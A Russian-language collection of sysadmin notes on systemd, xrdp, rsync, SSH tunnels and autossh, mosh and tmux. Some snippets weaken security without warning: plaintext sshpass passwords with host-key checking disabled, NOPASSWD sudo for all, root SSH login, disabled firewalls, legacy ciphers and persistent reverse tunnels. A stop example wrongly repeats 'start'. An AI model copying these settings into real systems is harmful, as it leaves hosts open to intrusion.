  • Обратная совместимость с инициализацией SysV. SystemD полностью поддерживает скрипты инициализации SysV, как описано в спецификации Linux Standard Base (LSB), что упрощает переход на systemd.


Управление сервисами

В предыдущих версиях CentOS использовалась SysV или Upstart. Скрипты инициализации располагались в директории /etc/rc.d/init.d/. Такие скрипты обычно писались на Bash и позволяли администратору управлять состоянием сервисов и демонов. В CentOS 7 скрипты инициализации были заменены сервисными юнитами.



По способу использования сервисные юниты .service напоминают скрипты инициализации. Для просмотра, старта, остановки, перезагрузки, включения или выключения системных сервисов используется команда systemctl. Команды service и chkconfig по-прежнему включены в систему, но только по соображениям совместимости.





При использовании systemctl указывать расширение файла не обязательно.



Ниже представлены основные команды systemctl:

  • systemctl start name.service – запуск сервиса.
  • systemctl stop name.service — остановка сервиса
  • systemctl restart name.service — перезапуск сервиса
  • systemctl try-restart name.service — перезапуск сервиса только, если он запущен
  • systemctl reload name.service — перезагрузка конфигурации сервиса
  • systemctl status name.service — проверка, запущен ли сервис с детальным выводом состояния сервиса
  • systemctl is-active name.service — проверка, запущен ли сервис с простым ответом: active или inactive
  • systemctl list-units --type service --all – отображение статуса всех сервисов
  • systemctl enable name.service – активирует сервис (позволяет стартовать во время запуска системы)
  • systemctl disable name.service – деактивирует сервис
  • systemctl reenable name.service – деактивирует сервис и сразу активирует его
  • systemctl is–enabled name.service – проверяет, активирован ли сервис
  • systemctl list-unit-files --type service – отображает все сервисы и проверяет, какие из них активированы
  • systemctl mask name.service – заменяет файл сервиса симлинком на /dev/null, делая юнит недоступным для systemd
  • systemctl unmask name.service – возвращает файл сервиса, делая юнит доступным для systemd


Работаем с целями (targets) Systemd

Предыдущие версии CentOS с SysV init или Upstart включали предопределенный набор уровней запуска (runlevels), которые представляли специфичные режимы для операций, пронумерованные от 0 до 6. В CentOS 7 концепция уровней запуска была заменена целями systemd.



Файлы целей systemd .target предназначены для группировки вместе других юнитов systemd через цепочку зависимостей. Например юнит graphical.target, использующийся для старта графической сессии, запускает системные сервисы GNOME Display Manager (gdm.service) и Accounts Service (accounts–daemon.service) и активирует multi–user.target. В свою очередь multi–user.target запускает другие системные сервисы, такие как Network Manager (NetworkManager.service) или D-Bus (dbus.service) и активирует другие целевые юниты basic.target.



В CentOS 7 присутствуют предопределенные цели, похожие на стандартный набор уровней запуска. По соображениям совместимости они также имеют алиасы на эти цели, которые напрямую отображаются в уровнях запуска SysV.



  • poweroff.target (runlevel0.target) – завершение работы и отключение системы
  • rescue.target (runlevel1.target) – настройка оболочки восстановления
  • multi–user.target (runlevel2.target, runlevel3.target, runlevel4.target) – настройка неграфической многопользовательской системы
  • graphical.target (runlevel5.target) – настройка графической многопользовательской системы
  • reboot.target (runlevel6.target) – выключение и перезагрузка системы


Команды runlevel и telinit по-прежнему доступны, но оставлены в системе по соображениям совместимости. Рекомендуется использовать systemctl для изменения или настройки системных целей.



Для определения, какой целевой юнит используется по умолчанию, полезна следующая команда: systemctl get–default.



Для просмотра всех загруженных целевых юнитов воспользуйтесь командой systemctl list-units --type target, а для просмотра вообще всех целевых юнитов командой: systemctl list-units --type target --all.



Для изменения цели по умолчанию поможет команда systemctl set-default name.target.



Для изменения текущей цели: systemctl isolate name.target. Команда запустит целевой юнит и все его зависимости и немедленно остановит все остальные.



Выключение и перезагрузка системы

В CentOS 7 systemctl заменяет значительное количество команд управления питанием. Прежние команды сохранены для совместимости, но рекомандуется использовать systemctl:

systemctl halt – останавливает систему

systemctl poweroff – выключает систему

systemctl reboot – перезагружает систему



Управление systemd на удаленной машине

Systemd позволяет управлять удаленной машиной по SSH. Для управления используйте команду:

systemctl --host user_name@host_name command, где user_name – имя пользователя, host_name – имя хоста, которым осуществляется удаленное управление, а command – выполняемая команда systemd.



Типичный systemd .service

Этот раздел поможет вам, если вам необходимо быстро сделать поддержку управления сервисом из systemd. Подробная информация о всех параметрах файла .service есть в соответствующем разделе документации по systemd.



[Unit]
Description=Daemon to detect crashing apps
After=syslog.target

[Service]
ExecStart=/usr/sbin/abrtd
Type=forking

[Install]
WantedBy=multi-user.target


Давайте посмотрим на секцию [Unit]. Она содержит общую информацию о сервисе. Такая секция есть не только в сервис-юнитах, но и в других юнитах (например при управлении устройствами, точками монтирования и т.д.). В нашем примере мы даем описание сервиса и указываем на то, что демон должен быть запущен после Syslog.



В следующей секции [Service] непосредственно содержится информация о нашем сервисе. Используемый параметр ExecStart указывает на исполняемый файл нашего сервиса. В Type мы указываем, как сервис уведомляет systemd об окончании запуска.



Финальная секция [Install] содержит информацию о цели, в которой сервис должен стартовать. В данном случае мы говорим, что сервис должен быть запущен, когда будет активирована цель multi–user.target.



Это минимальный работающий файл сервиса systemd. Написав свой, для тестирования скопируйте его в /etc/systemd/system/имя_сервиса.service. Выполните команды systemctl daemon-reload. Systemd узнает о сервисе и вы сможете его запустить.



Дополнительная информация

Отличное руководство по systemd от RedHat, положенное в основу этой статьи.

Документация по написанию своего сервис-юнита systemd.

«Systemd для администраторов» от разработчика systemd на русском языке.

#############################################################################


пример юнита пользовательского скрипта

nano /etc/systemd/system/start-unicor1.service



после каждого редактирования юнита необходимо делать systemctl daemon-reload
проверка через запуск
systemctl start start-unicor1.servic

остановка
systemctl start start-unicor1.servic

сам скрипт для юнита



скрипт запускающий рельсы без юнитов



вариант запуска по cron
@reboot /home/user1/start_unicor.sh




поскольку ruby установлен локально в домашнюю папку, то требуется инициализация source /home/user1/.profile и тд.

Как передать переменные окружения службе, запущенной systemd?
[Service]
Environment=KEY=VALUE
или так
EnvironmentFile=/path/to/env

Для нескольких значений env
Environment=KEY=VALUE
Environment=KEY2=VALUE2 KEY3=VALUE3


Поднимаем на одном сервере несколько Ruby on Rails проектов под разными версиями ruby (Nginx + Unicorn)
установка и защита redis в centos 7
Systemd за пять минут
Пишем systemd Unit файл





https://infoboxcloud.ru/community/blog/infoboxcloud/201.html

https://github.com/sivel/speedtest-cli
https://pypi.org/project/speedtest-cli/
https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py
chmod +x и запустить в консоли



Тест скорости сети на busybox





развернуть
В этой статье мы рассмотрим установку xrdp на CentOS 7.
Для пущего интереса, давайте мы это рассмотрим с такой точки зрения: вы поставили CentOS в его минимальном варианте установки (minimal install), без компонентов рабочего стола и прочих утилит и вам понадобилось этот самый рабочий стол завести, и предоставить к нему доступ по rdp. Поэтому мы рассмотрим весь процесс самого начала.


GNOME


А сначала нам нужно установить компоненты рабочего стола — а именно GNOME. Сделать это можно следующим образом.


Получим список групп доступного для установки программного обеспечения


yum grouplist

или так


yum groups list

Среди текста вывода команд мы увидим строку «GNOME Desktop»

Она то нам и нужна.

Запустить установку мы можем одной из следующих команд


yum groupinstall "GNOME Desktop"

или


yum groups install "GNOME Desktop"

Это что касается рабочей станции. Если же вы устанавливаете GNOME на систему, выполняющую серверные функции, то лучше воспользоваться одной из следующих команд


yum groupinstall "Server with GUI"

или


yum groups install "Server with GUI"

После этого нам нужно указать, чтобы по умолчанию система загружалась в графический режим.


systemctl set-default graphical.target

Для того, чтобы активировать его без перезагрузки


systemctl start graphical.target

xrdp


Теперь перейдем к xrdp.

Сначала добавим нужный нам репозиторий. А понадобится нам EPEL — Extra Packages for Enterprise Linux. Найти ссылку на его текущую версию мы можем, заглянув по адресу http://download.fedoraproject.org/pub/epel.


В моем случае команды будут выглядеть следующим образом


wget http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm
rpm -ivh epel-release-7-6.noarch.rpm

Еще одним вариантом, и соответственно, с тем же результатом, будет следующая команда, которая представляет из себя объединение двух предыдущих строк


rpm -ivh http://download.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-6.noarch.rpm

Теперь, если мы введем команду


yum repolist

в списке вывода мы должны увидеть нечто подобное


epel/x86_64   Extra Packages for Enterprise Linux 7 - x86_64   10,042

Далее нам нужно установить xrdp.


yum install xrdp

Если после этого мы попытаемся запустить xrdp, то это у нас скорее всего не получится, а в логах (команда journalctl -xe) мы увидим сообщения «Failed at step EXEC spawning /usr/sbin/xrdp-sesman: Permission denied» и «Failed at step EXEC spawning /usr/sbin/xrdp: Permission denied».

Чтобы все-таки их запустить, нам нужно изменить контекст безопасности SELinux для этих двух файлов.


chcon -t bin_t /usr/sbin/xrdp
chcon -t bin_t /usr/sbin/xrdp-sesman

Запустить xrdp можно командой


systemctl start xrdp

а проверить, запустился ли он


systemctl status xrdp

Чтобы xrdp запускался каждый раз при старте системы


systemctl enable xrdp

Для подтверждения того, что он ожидает подключений на полагающемся ему порту 3389 можно ввести следующую команду


netstat -antup | grep xrdp

Firewall


Если на вашей системе активен межсетевой экран, потребуется разрешить прохождение трафика на порт 3389. Сделать это можно следующими командами


firewall-cmd --permanent --zone=public --add-port=3389/tcp
firewall-cmd --reload

Теперь можно попробовать подключиться к системе при помощи rdp-клиента, например, Microsoft Remote Desktop Connection.



https://sergeyvasin.net/2016/05/13/xrdp-centos/
установка сервера терминалов XRDP на Debian 9.



развернуть
список основных опций rsync:

-a, сохранять права доступа и информация о владельцах, включает опции -rlptgoD;
-r, копировать каталоги рекурсивно;
-l, копировать символические ссылки, не обращаться к файлам;
-p, сохранять прав доступа к файлам;
-t, сохранять время модификации файлов;
-g, -o, сохранять владельца и группы файла;
-D, охранять файлы устройств и специальных файлов;
-u, режим обновления, не синхронизировать файлы имеющие более позднюю дату модификации, чем в источнике;
-v, отображать имена копируемых файлов;
-q, не отображать сообщения об ошибках;
-z, сжимать данные;
-P, отображать прогресс копирования;
-с, проверка файлов по контрольной сумме;
--ignore-errors, игнорировать ошибки;
--max-delete, максимальное число удаляемых за один раз файлов и каталогов;
--files-from=FILE, указать список файлов и директорий для копирования;
-e ssh, использование при копировании SSH;
--bwlimit=KBPS, ограничение скорости передач данных.

наиболее наиболее часто используемые rsync примеры синхронизации файлов.

Используем rsync по SSH для синхронизации двух директорий или файлов:
rsync -zavP /source root@1.1.1.1:/backup

Можно синхронизировать сразу два каталога или файла:
rsync -zavP /source /source2 root@1.1.1.1:/backup

Копировать файлы с удаленного сервера на локальный:
rsync -zavP root@1.1.1.1:/backup /source

Использовать rsync по SSH с нестандартным портом:
rsync -zavP '-e ssh -p 12345' /source root@1.1.1.1:/backup

https://codebeer.ru/rsync-ssh-sinhronizaciya-fajlov-v-linux/
https://serveradmin.ru/rsync-nastroyka-bekapa-na-centos-debian-ubuntu/



установка XRDP, VNC и SSH на Ubuntu и Debian 1

ssh
http://redhat-club.org/2011/установка-и-настройка-openssh-сервера-в-rhel-centos-fedora
Наглядное руководство по SSH-туннелям
Памятка пользователям ssh
Магия SSH
Полное руководство по SSH в Linux и Windows
Настройка SSH в BlackArch
Как перехватить пароль SSH. Атака человек-посередине на SSH

$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

отредактировать удалённый файл через ssh с использованием vim, вы можете сделать так.
sudo apt install vim
vim scp://ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ_ХОСТ//home/user/path/file

сравнение (diff) локального файла и удалённого файла:
diff local_file.txt <(ssh user@remote_host 'cat remote_file.txt')
сравнение (diff) двух удалённых файлов:
diff <(ssh user@remote_host 'cat remote_file.txt') <(ssh user2@remote_host2 'cat remote_file2.txt')

монтирование
sudo apt install sshfs fuse
Для монтирования нужно запустить команду вида:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ
если SSH работает на порту 2222, то команда будет такой:
sshfs ПОЛЬЗОВАТЕЛЬ@УДАЛЁННЫЙ-ХОСТ:/ДИРЕКТОРИЯ/УДАЛЁННОГО/ХОСТА ТОЧКА-МОНТИРОВАНИЯ -p 2222

https://ru.stackoverflow.com/questions/547626/Как-ввести-пароль-в-bash-через-скрипт
Как через скрипт ввести пароль?
$ sshpass -p 'пароль' ssh пользователь@сервер
aдреса постоянно меняются
$ sshpass -p 'пароль' ssh -q -o 'UserKnownHostsFile /dev/null' -o 'StrictHostKeyChecking no' пользователь@сервер
https://ru.wikipedia.org/wiki/Expect

управление ключами и доступ по ключу
Аутентификация на сервере Ubuntu с использованием ключей SSH
SSH авторизация по ключу
Вход ssh по ключу ( Linux/Unix )
SSH с высоты птичьего полёта, или разгребаем кучи ключей
Как конвертировать ключи SSH из формата PuTTY в формат OpenSSH
Создание и настройка ключей OpenSSH

Свой ключ можно сгенерировать с помощью команды ssh-keygen
Сменить пароль на ключ можно с помощью команды ssh-keygen -p

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.
~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать

Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts

Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1

Клиентские открытые ключи нужно сохранить на ssh-сервере в файле ~/.ssh/authorized_keys (~ это домашняя директория того пользователя, которым будете логиниться), каждый на отдельной строке
Команда ssh-copy-id user@server позволяет скопировать ключ
Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки)

Права на файл ~/.ssh/authorized_keys
В случае ручного создания файла ~/.ssh/authorized_keys на ssh-сервере необходимо задать следующие права:
chmod 0700 ~/.ssh
chmod 0600 ~/.ssh/authorized_keys



Настройка входа через SSH без пароля
На локальной машине (с которой заходим):
ssh-keygen -t rsa

Без предварительного подключения, выполняем команду на удалённой машине (IP и имя пользователя поменяйте на свои):
ssh mial@192.168.1.35 mkdir .ssh

Теперь нам нужно скопировать содержимое файла id_rsa.pub на удалённую машину. Сделать это очень просто (не забываем менять данные на свои):





советы по безопасности
Доступ только с определённых IP
Если планируется подключаться к серверу только с определённых IP-адресов, то можно внести строки в файл /etc/hosts.deny
sshd: ALL

В файл /etc/hosts.allow
Sshd: 188.120.252.0/24

Таким образом будет запрещён доступ по SSH для всех подсетей, кроме указанной.
После этого нужно перезапустить службу командой service sshd restart.

Смените порт SSH
Для этого в файле /etc/ssh/sshd_config необходимо раскомментировать и изменить Port 22 на свободный, это может быть любое число до 65536. и перезапустить службу service sshd restart

Используйте только ключи SSH
Пара ключей создаётся командой ssh-keygen. Секретный ключ (файл без расширения) копируется на ПК, а публичный (имяключа.pub) — в файл .ssh/authorized_keys на сервере.

Чтобы отключить авторизацию по паролю, в том же конфиге SSH нужно изменить директиву PasswordAuthentication yes на PasswordAuthentication no и перезапустить службу — останется авторизация только по ключу SSH.

Оция PermitRootLogin — может ли root входить в систему посредством SSH:
PermitRootLogin no
А эта директива определяет, какие пользователи могут логиниться в SSH:
AllowUsers alice bob

включить SSH доступ для пользователя root
vi /etc/ssh/sshd_config
PermitRootLogin yes
service ssh restart
systemctl restart sshd

разорвать TCP подключение используя утилиту tcpkill
sudo tcpkill -i ИНТЕРФЕЙС -9 port ПОРТ
sudo tcpkill -i ИНТЕРФЕЙС -9 host IP_ИЛИ_ДОМЕН

редактировать конфиги по sftp, sudo доступ
thunar редактировать конфиги по sftp, sudo доступ
thunar sftp://пользователь@сервер

sudo apt install gvfs-fuse gvfs-backends
thunar -q

вставить в свой файл /etc/ssh/sshd_config на стороне сервера:
Subsystem sftp sudo -n true && sudo -n /usr/lib/openssh/sftp-server || /usr/lib/openssh/sftp-server
закомментить
#Subsystem sftp /usr/lib/openssh/sftp-server

systemctl restart sshd

в /etc/sudoers просто поместите новые записи после них.
sudo visudo
Новая запись должна выглядеть
myuser ALL=(ALL) NOPASSWD: ALL для одного пользователя, или
%sudo ALL=(ALL) NOPASSWD: ALL для группы.

Удалённый экран через SSH
Для того, чтобы разрешить форвардинг X11, удалённый сервер должен быть соответствующим образом сконфигурирован. Соответствующие настройки делаются в файле /etc/ssh/sshd_config:
...
AcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE
AcceptEnv LC_MONETARY LC_MESSAGES
AcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE
AcceptEnv LC_MEASUREMENT LC_IDENTIFICATION LC_ALL LANGUAGE
#AllowAgentForwarding yes
#AllowTcpForwarding yes
#GatewayPorts no
X11Forwarding yes
...
Настройки туннелирования X11 могут быть также включены/запрещены для каждого пользователя отдельно:
...
Match User bilbobaggins
X11Forwarding no
...
Внося изменения в конфигурационный файл сервера OpenSSH, не забывайте перезапускать его для того, чтобы изменения ступили в силу:
sudo service sshd restart

На стороне клиента, в файле /etc/ssh/ssh_config необходимо включить опцию Forward11Trusted. В Fedora эта опция включена по умолчанию, в то время как в некоторых других дистрибутивах вам придётся сделать это самостоятельно:
...
ForwardX11Trusted yes
...
Имейте ввиду, что расположение файлов конфигурации OpenSSH в различных дистрибутивах могут быть разными.


Xpra выполнение графических приложений без привязки к текущему X-сеансу
http://www.xpra.org/
http://winswitch.org/
Учимся переносить запущенные программы с одного компьютера на другой
Выпуск Xpra 0.10, аналога утилиты screen для графических программ

Возможно использование xpra и из командной строки. На удалённом хосте, на котором необходимо запустить приложение (в примере запускается xterm), выполняем:
xpra start :100 --start-child=xterm

после чего подсоединяемся с другой машины к созданному сеансу
xpra attach ssh:имя_сервера:100

Запуск графических приложений через SSH (X11Forwarding)

sudo apt-get install xauth

Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

если не работает проверить права на удаленном хосте
ls -l ~/.Xauthority
если не помогло, добавить на сервере в sshd_config
XAuthLocation /usr/bin/xauth


Долгое Подключение по SSH — Убираем Задержку
Настройка быстрого подключения по SSH в Linux
Ssh долго подключается или тупит Ubuntu

Для того чтобы проверить, надо запустить ssh коннект с флагом -v
ssh -o GSSAPIAuthentication=no user@exampleserver.com -v

1. UseDNS
В основном, подключение по SSH происходит медленно из-за неудачных попыток разрешения имен в системе DNS.

Чтобы уменьшить время ожидания при входе, открываем на редактирование следующий файл:
vi /etc/ssh/sshd_config

Находим строку:
#UseDNS yes

И приводим ее к следующему виду:
UseDNS no

* в конкретном примере мы сняли комментарий и заменили yes на no, чем отключили разрешение DNS-имен при каждой попытке подключения. Если на нашем Linux сервере не настроены DNS (или настроены неправильно), это решит проблему медленного SSH.
** если такой строчки нет, необходимо ее дописать.

Чтобы изменнения вступили в силу, перезагружаем сервис:
systemctl restart sshd || systemctl restart ssh
* или service sshd restart || service ssh restart

2. GSSAPIAuthentication
GSSAPI предоставляет API для различных вариантов аутентификации в системе. Однако, в большинстве случаем, используется стандартный метод PAM. Если отключить GSSAPI, это может значительно ускорить вход по SSH.

Открываем sshd_config:
vi /etc/ssh/sshd_config

И приводим две строки к следующему виду:
GSSAPIAuthentication no
GSSAPICleanupCredentials yes

* в данном примере мы отключили аутентификацию с использованием GSS-API (общий программный интерфейс сервисов безопасности). Он может быть использован, например, для связки с Kerberos. Однако, чаще всего используется метод PAM и надобность в GSSAPIAuthentication отсутствует.

Перезапускаем:
systemctl restart sshd || systemctl restart ssh

3. motd
В Linux Ubuntu при входе файл приветствия /etc/motd выполняет различные задачи, например, проверку обновлений, которая может замедлить вход. В этом случае торможение будет на этапе после ввода пароля.

Для отключения модуля приветствия, открываем на редактирование два файла:
vi /etc/pam.d/login
vi /etc/pam.d/sshd

И комментируем все строки, в которых присутствует pam_motd.so.
Перезапускаем sshd:
systemctl restart sshd || systemctl restart ssh

ssh подключение к GParted Live CD/USB/PXE/HD, Clonezilla live и
SystemRescueCd

nano /etc/hosts.deny
закомментировать строку ALL: ALL EXCEPT localhost
#ALL: ALL EXCEPT localhost

затем рестартануть sshd
/etc/init.d/ssh restart

пользователь по умолчанию user пароль live

в SystemRescueCd sshd уже запущен и нет блокировок, нужно только изменить пароль root и отключить фрайвол
systemctl stop iptables.service ip6tables.service
или при загрузке нажать tab и вбить опцию загрузки nofirewall


ошибки при подключении
если при подключении по ssh ошибка no matching cipher found. Their offer: aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc
то подключаться
ssh -c aes256-cbc user@address
если no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
то подключаться
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address
если ошибка no matching cipher found. Their offer: 3des-cbc
то
ssh -c 3des-cbc -oKexAlgorithms=+diffie-hellman-group1-sha1 user@address


https://codeplanet.io/connection-reset-by-peer/
ssh_exchange_identification: read: Connection reset by peer

ssh username@address.com -vv
sudo service ssh stop
sudo /usr/sbin/sshd -d

debug1: Connection refused by tcp wrapper

vi /etc/hosts.allow
добавить
sshd: ALL

sudo service ssh stарт


SSH-туннели — пробрасываем порт
создание постоянного SSH-тоннеля

ssh -N -R 80:localhost:80 root@104.131.xxx.xxx

Установка time-out для SSH в Linux
vim ~/.bashrc
TMOUT=3600

Как повторно подключиться к отключенному сеансу SSH
https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447

autossh
Как Ваш компьютер может дать доступ к себе через туннель средствами ssh, autossh, autosshd
Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH

Обратный туннель SSH с AutoSSH
Как настроить постоянно работающий SSH-туннель
apt install autossh
autossh -M 5122 -N -R 5022:localhost:22 rex - связывание порта 5022 на удалённом хосте rex и порта 22 на локальной машине
Для autossh обязательна опция -M, которая задает порт для мониторинга соединения
Чтобы запустить autossh в фоновом режиме, добавляем опцию -f
Чтобы завершить процесс, используем команду pkill:
$ pkill autossh

Создание SSH-туннеля. Часть третья
$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

